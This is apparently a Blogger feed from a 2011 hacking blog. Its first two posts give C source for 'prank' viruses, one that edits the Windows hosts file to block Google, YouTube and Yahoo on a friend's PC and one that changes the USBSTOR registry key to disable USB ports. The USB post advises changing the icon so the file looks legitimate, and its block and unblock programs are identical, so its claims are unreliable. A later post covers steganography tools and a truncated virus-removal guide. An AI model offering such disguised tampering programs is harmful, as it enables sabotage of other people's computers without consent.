&lt;span style=&quot;color: blue;&quot;&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include&amp;lt;dos.h&amp;gt;&lt;br /&gt;
#include&amp;lt;dir.h&amp;gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;char site_list[6][30]={&lt;br /&gt;
“google.com”,&lt;br /&gt;
“www.google.com”,&lt;br /&gt;
“youtube.com”,&lt;br /&gt;
“www.youtube.com”,&lt;br /&gt;
“yahoo.com”,&lt;br /&gt;
“www.yahoo.com”&lt;br /&gt;
};&lt;br /&gt;
char ip[12]=”127.0.0.1″;&lt;br /&gt;
FILE *target;&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;int find_root(void);&lt;br /&gt;
void block_site(void);&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;int find_root()&lt;br /&gt;
{&lt;br /&gt;
int done;&lt;br /&gt;
struct ffblk ffblk;//File block structure&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&amp;amp;ffblk,FA_DIREC);&lt;br /&gt;
/*to determine the root drive*/&lt;br /&gt;
if(done==0)&lt;br /&gt;
{&lt;br /&gt;
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);&lt;br /&gt;
/*to open the file*/&lt;br /&gt;
return 1;&lt;br /&gt;
}&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&amp;amp;ffblk,FA_DIREC);&lt;br /&gt;
/*to determine the root drive*/&lt;br /&gt;
if(done==0)&lt;br /&gt;
{&lt;br /&gt;
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);&lt;br /&gt;
/*to open the file*/&lt;br /&gt;
return 1;&lt;br /&gt;
}&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&amp;amp;ffblk,FA_DIREC);&lt;br /&gt;
/*to determine the root drive*/&lt;br /&gt;
if(done==0)&lt;br /&gt;
{&lt;br /&gt;
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);&lt;br /&gt;
/*to open the file*/&lt;br /&gt;
return 1;&lt;br /&gt;
}&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&amp;amp;ffblk,FA_DIREC);&lt;br /&gt;
/*to determine the root drive*/&lt;br /&gt;
if(done==0)&lt;br /&gt;
{&lt;br /&gt;
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);&lt;br /&gt;
/*to open the file*/&lt;br /&gt;
return 1;&lt;br /&gt;
}&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;else return 0;&lt;br /&gt;
}&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;void block_site()&lt;br /&gt;
{&lt;br /&gt;
int i;&lt;br /&gt;
fseek(target,0,SEEK_END); /*to move to the end of the file*/&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;fprintf(target,”\n”);&lt;br /&gt;
for(i=0;i&amp;lt;6;i++)&lt;br /&gt;
fprintf(target,”%s\t%s\n”,ip,site_list[i]);&lt;br /&gt;
fclose(target);&lt;br /&gt;
}&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;color: blue;&quot;&gt;void main()&lt;br /&gt;
{&lt;br /&gt;
int success=0;&lt;br /&gt;
success=find_root();&lt;br /&gt;
if(success)&lt;br /&gt;
block_site();&lt;br /&gt;
}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
1. Paste the Above Given Source Code in Notepad &amp;amp; Save it as &quot;Website_Block.c&quot;&lt;br /&gt;
2. Compile the above created source file using a C Compiler.&lt;br /&gt;
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.&lt;br /&gt;
4.Once you run the file &lt;strong&gt;Website_Block.exe&lt;/strong&gt;, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “&lt;strong&gt;Page cannot displayed&lt;/strong&gt;“.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGXHCpw1giSYvqkK9nhvGQ_Y3Hvl4EdSN8LRmiNlCoIS6UGCTmsW9ugtwOwpCmzJ0vFRIubieq2HTAZvaG9Wyi7RRi9MkXzWYdCodP2GgGnYkVvMNT4pipKw-9rYfSfSdWMIyCyhy9KDb1/s1600/accessdenied.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;388&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGXHCpw1giSYvqkK9nhvGQ_Y3Hvl4EdSN8LRmiNlCoIS6UGCTmsW9ugtwOwpCmzJ0vFRIubieq2HTAZvaG9Wyi7RRi9MkXzWYdCodP2GgGnYkVvMNT4pipKw-9rYfSfSdWMIyCyhy9KDb1/s400/accessdenied.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
5.&amp;nbsp;To remove the virus type the following in the &lt;strong&gt;Run Dialog Box. &lt;/strong&gt;(Start -&amp;gt; Run)&lt;br /&gt;

&lt;br /&gt;
&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-7851&quot;&gt;
&lt;strong&gt;%windir%\system32\drivers\etc&lt;/strong&gt;&lt;/div&gt;
&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-7851&quot;&gt;
6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-2340&quot;&gt;
127.0.0.1&lt;span style=&quot;color: white;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;google.com&lt;/div&gt;
&lt;br /&gt;

7. Delete all such entries which contain the names of blocked sites.&lt;br /&gt;
&lt;br /&gt;
Enjoy playing this Prank over your Friends &amp;amp; make them toil to use these Websites :D ;-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Posted By :-&amp;nbsp;|-|A|_F B|_00d Pr|nCe&amp;nbsp;&lt;/div&gt;
&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/2737683806497750346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/prank-your-friend-block-websites-on-his.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/2737683806497750346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/2737683806497750346'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/prank-your-friend-block-websites-on-his.html' title='Prank your Friend : Block Websites on his PC Virus'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb4mc3cUcBWWU-mNay9mji71HunhVRHUVJHl-LxoEvJ9kISkyUt-2rKYiMeu8NyXgof1cu7yzkvPzl6kdVIzg5TZymx88nunOjIzcUSQO01W2lbmyu74MZjv_dTS6X64gLCFKVutEUCMjt/s72-c/hacked-website.JPG" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-8399223914806791218</id><published>2011-11-22T23:03:00.001+05:30</published><updated>2011-11-22T23:16:08.281+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Coding"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Viruses - Trojans"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Disable USB Ports : Virus Source Code</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
In this post I will show how to create a
 simple virus that disables/blocks the&amp;nbsp;USB ports on the computer (PC). 
As usual I use my favorite C programming language to create this virus. 
Anyone with a basic knowledge of C language&amp;nbsp;should be able to understand
 the working of this virus program.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd2sAds8qPJMcr6F_L4V4GD1NleCN-sMG3okA1wREuHUz3EN-RJcvd3TxLnYDd0B9G-QByicHGGrF2o8vKmQb2KRe3NSzFv7O7lcuo8OTJWxgQvdvqqBgqLU-Wayu4INmIFa5BerifnRx7/s1600/USB_HACK.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;313&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd2sAds8qPJMcr6F_L4V4GD1NleCN-sMG3okA1wREuHUz3EN-RJcvd3TxLnYDd0B9G-QByicHGGrF2o8vKmQb2KRe3NSzFv7O7lcuo8OTJWxgQvdvqqBgqLU-Wayu4INmIFa5BerifnRx7/s400/USB_HACK.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Once this virus is executed it 
will&amp;nbsp;immediately&amp;nbsp;disable all the USB ports on the computer. As a result 
the&amp;nbsp;you’ll will not be able to use&amp;nbsp;your pen drive or any other USB 
peripheral on&amp;nbsp;the computer. The source code for this virus is available 
for download. You can test this virus on your own computer without any 
worries since I have also given a program to re-enable all the USB 
ports.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
1. Copy the below Given Code in Notepad &amp;amp; Save it as &quot;block_usb.c&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b style=&quot;background-color: black; color: white;&quot;&gt;void main()&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;system(&quot;reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f&quot;);&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
2. Again&amp;nbsp;Copy the below Given Code in Notepad &amp;amp; Save it as &quot;unblock_usb.c&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b style=&quot;background-color: black; color: white;&quot;&gt;void main()&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;system(&quot;reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f&quot;);&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;/ul&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
3. Compile the Above two saved files using a C Compiler before you can run it.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
4. Upon compilation of block_usb.c you get &lt;strong&gt;block_usb.exe&lt;/strong&gt; which is&amp;nbsp;a simple&amp;nbsp;virus that will block (disable) all the USB ports on the computer upon execution (double click).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
5. To test this virus, just run the &lt;strong&gt;block_usb.exe &lt;/strong&gt;file
 and insert a USB pen drive (thumb drive). Now you can see that your pen
 drive will never get detected. To re-enable the USB ports just run the &lt;strong&gt;unblock_usb.exe&lt;/strong&gt;&amp;nbsp; (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
6. You can also change the icon of
 this file to make it look like a legitimate program.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Hope you would have Liked it. Do post back your comments over it. :) :)&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Posted By :-&amp;nbsp;|-|A|_F B|_00d Pr|nCe&amp;nbsp;&lt;/span&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/8399223914806791218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/disable-usb-ports-virus-source-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/8399223914806791218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/8399223914806791218'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/disable-usb-ports-virus-source-code.html' title='Disable USB Ports : Virus Source Code'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd2sAds8qPJMcr6F_L4V4GD1NleCN-sMG3okA1wREuHUz3EN-RJcvd3TxLnYDd0B9G-QByicHGGrF2o8vKmQb2KRe3NSzFv7O7lcuo8OTJWxgQvdvqqBgqLU-Wayu4INmIFa5BerifnRx7/s72-c/USB_HACK.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-8186319385595608320</id><published>2011-11-22T22:49:00.001+05:30</published><updated>2011-11-22T22:59:53.704+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Computers"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking Softwares"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><title type='text'>How to Hide Data in Image, Audio &amp; Video Files: Steganography</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ever wondered to know how to hide secret
 messages in images, audio and video files? Well, in this post I will 
take you through a concept called &lt;em&gt;steganography&lt;/em&gt;&amp;nbsp;using which, it
 is possible to&amp;nbsp;hide your secret&amp;nbsp;information in image files,&amp;nbsp;songs or 
any other file of your choice. At the end of this post, you can also 
download free stegnographic tools and start hiding your data.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwHyY_4iPKfo4OU_NutkCe33j9dOTPbQy4XKB1_IvBcu-pLffJcxleyPEQYYby4R3pVH93L6oD97vjXSM4a-vKZDWDxBsfn-KZWRiklDts0uohbIBVELPR2VKo3jF9xdfHx13bafpgBzyZ/s1600/Steganography.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwHyY_4iPKfo4OU_NutkCe33j9dOTPbQy4XKB1_IvBcu-pLffJcxleyPEQYYby4R3pVH93L6oD97vjXSM4a-vKZDWDxBsfn-KZWRiklDts0uohbIBVELPR2VKo3jF9xdfHx13bafpgBzyZ/s400/Steganography.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2 style=&quot;text-align: justify;&quot;&gt;
What is Steganography?&lt;/h2&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Steganography&amp;nbsp;is a means of obscuring 
data where secret messages&amp;nbsp;are&amp;nbsp;hidden inside&amp;nbsp;computer files such as 
images, sound files, videos and even executable files so that, no one 
except the sender and the&amp;nbsp;receiver will suspect the existence of stealth
 information in it. Steganography may also involve the usage of 
cryptography where the message is first encrypted before it is concealed
 in another file. Generally, the messages appear to be something else 
such as an image, sound or video so that the transfer of secret data 
remains unsuspected.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
The main advantage of steganography 
over&amp;nbsp;other methods such as cryptography&amp;nbsp;is that, it will not arose 
suspicion even if the files fall in the hands of a third party. Unlike 
cryptographic messages, stegnographic messages will no way attract the 
attention of a third party by themselves.&amp;nbsp;Thus stegnanography has an 
upper hand over cryptography as it involves both encryption and 
obscurity.&lt;/div&gt;
&lt;h2 style=&quot;text-align: justify;&quot;&gt;
What are the Applications of Steganography?&lt;/h2&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Steganography is mainly used to obscure 
confidential information/data during storage or transmission. For 
example, one can hide a secret message in an audio file and send this to
 another party via email instead of sending the message in the textual 
format. The receiver on the other end will decrypt the hidden message 
using the private decryption key. In a worst case scenario,&amp;nbsp;even if 
a&amp;nbsp;third party&amp;nbsp;does manage&amp;nbsp;to&amp;nbsp;gain access&amp;nbsp;to the email, all he can find 
is the audio file and not the hidden data inside it. Other usage of 
steganography include digital watermarking of images for reasons such as
 copyright protection.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Eventhough steganography has many useful
 applications,&amp;nbsp;some may&amp;nbsp;use this technique for illegitimate purposes 
such as hiding a pornographic content in other large files. 
Roumors&amp;nbsp;about terrorists using steganography&amp;nbsp;for hiding and 
communicating their secret information and instructions&amp;nbsp;are also 
reported. An article claiming that, al-Queda had used steganography to 
encode messages in images and transported&amp;nbsp;them via e-mails, was reported
 by New York Times, in October 2001.&lt;/div&gt;
&lt;h2 style=&quot;text-align: justify;&quot;&gt;
How do&amp;nbsp;Steganography Tools Work?&lt;/h2&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Stegnography tools implement intelligent
 algorithms to carefully embed the encrypted text messages or 
data&amp;nbsp;inside other larger files such as an image,&amp;nbsp;audio, video or an 
executable file. Some tools will embed the encrypted data at the end 
of&amp;nbsp;another file so that there&amp;nbsp;will&amp;nbsp;be enough room for storing larger 
data.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
There are many steganography tools 
available online but only a few are able to work flawlessly. I did not 
find&amp;nbsp;any tool&amp;nbsp;that worked perfectly on both small and large 
data.&amp;nbsp;However I have &amp;nbsp;managed to develop my own tool that can work 
perfectly on all types of files and all size of data. The tool is called
 “&lt;strong&gt;Stego Magic&lt;/strong&gt;“. You can download it from the following link.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;http://www.softpedia.com/get/Security/Encrypting/StegoMagic.shtml&quot;&gt;Download StegoMagic.zip&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
The zip file contains two versions of &lt;em&gt;Stego Magic&lt;/em&gt;: One for encrypting the text messages and the other for encrypting binary files. &lt;em&gt;StegoMagic_TXT&lt;/em&gt; can be used to hide text messages in other files such as an image or a sound file. &lt;em&gt;StegoMagic_BIN&lt;/em&gt; can be used to hide one binary file in another such as an executable file inside an image or an image inside a video file.&lt;br /&gt;

With &lt;em&gt;Stego Magic&lt;/em&gt;, there is no 
limitation on the size and type of the file that you are intending to 
hide. For example, you can hide a video of size 1 GB&amp;nbsp;in an image of size
 1 MB or hide an executable file inside a WORD document. The tool is 
pretty straightforward to use and requires no special understanding of 
the concept.&lt;br /&gt;

At the end of the encryption process, a 
secret decryption key will be generated&amp;nbsp;and the same is required during 
the decryption process.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUcj7IwDlDPDYEGYnjPLFknlpRY6cY_Nh-e9FxHLuZoCcZX8YJTxFfSOA5J2o-kcHIezq7nuYY8f31NknnitmR8p3L84X1lnXqgq4AS1tK_nO07rOQFkOPKoZyzXD_faIpv-cj6B8jqD9O/s1600/fig2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;235&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUcj7IwDlDPDYEGYnjPLFknlpRY6cY_Nh-e9FxHLuZoCcZX8YJTxFfSOA5J2o-kcHIezq7nuYY8f31NknnitmR8p3L84X1lnXqgq4AS1tK_nO07rOQFkOPKoZyzXD_faIpv-cj6B8jqD9O/s400/fig2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;

&lt;h2&gt;
How to Use Stego Magic?&lt;/h2&gt;
Suppose you want to hide a text message inside a JPG file:&lt;br /&gt;

1. Place the JPG and the text file (.txt) in the same folder as that of &lt;em&gt;StegoMagic_TXT.exe&lt;/em&gt;&lt;br /&gt;

2.&amp;nbsp;Run &lt;em&gt;StegoMagic_TXT.exe&lt;/em&gt; and follow the screen instructions to embed the text message inside the JPG image.&lt;br /&gt;

3. Note down the &lt;em&gt;secret decryption key&lt;/em&gt;.&lt;br /&gt;

Now you can send this image to your 
friend via email. To decrypt the hidden message, your friend should load
 this JPG file onto the &lt;em&gt;Stego Magic&lt;/em&gt; tool and use the &lt;em&gt;secret decryption key&lt;/em&gt;.&lt;br /&gt;
&lt;br /&gt;
Posted By :-&amp;nbsp;|-|A|_F B|_00d Pr|nCe&amp;nbsp;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/8186319385595608320/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/how-to-hide-data-in-image-audio-video.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/8186319385595608320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/8186319385595608320'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/how-to-hide-data-in-image-audio-video.html' title='How to Hide Data in Image, Audio &amp; Video Files: Steganography'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwHyY_4iPKfo4OU_NutkCe33j9dOTPbQy4XKB1_IvBcu-pLffJcxleyPEQYYby4R3pVH93L6oD97vjXSM4a-vKZDWDxBsfn-KZWRiklDts0uohbIBVELPR2VKo3jF9xdfHx13bafpgBzyZ/s72-c/Steganography.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-6038807781881800794</id><published>2011-11-22T18:54:00.001+05:30</published><updated>2011-11-22T19:07:26.850+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Viruses - Trojans"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Remove REGSVR.EXE and New Folder.exe viruses completely</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Plug a &lt;strong&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;pendrive&lt;/span&gt;&lt;/strong&gt;
into a public computer and you will be pesked by the continuously replicating
“New Folder.exe” virus or the “regsvr.exe” virus. Hear my story, while I
transferred my notes last night (&lt;em&gt;around 600 folders&lt;/em&gt;) and I was
surprised to&amp;nbsp; see that around 450 MB of space was eaten by these self
replicating space eaters ! I was running &lt;strong&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;Linux&lt;/span&gt;&lt;/strong&gt;
so these were not a concern for me, but when I plugged my pendrive into my &lt;strong&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;virtual machine&lt;/span&gt;&lt;/strong&gt;
(&lt;em&gt;windows xp sp2&lt;/em&gt;), it caused multiple problems of explorer corruption
and disabling registry &lt;strong&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;tools&lt;/span&gt;&lt;/strong&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Time for some virus busting I guess..here is how
you can remove “regsvr.exe” and “new folder.exe” from your computer.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;em&gt;&lt;b&gt;&lt;u&gt;Step 1 - Some Startup Repairs&lt;/u&gt;&lt;/b&gt;&lt;/em&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
First of all, boot into safe mode.After you get
to your desktop,press F3 or Ctrl + F and search for “autorun.inf” file in your
computer and delete all the subsequent files. I case you are no able to delete
them, select all the files and uncheck the”&lt;em&gt;Read Only&lt;/em&gt;” option. If you
are still not able to delete them , you might want to try out &lt;strong&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;a href=&quot;http://www.filehippo.com/download_unlocker/&quot;&gt;Unlocker tool todelete the files.&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Now go to&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
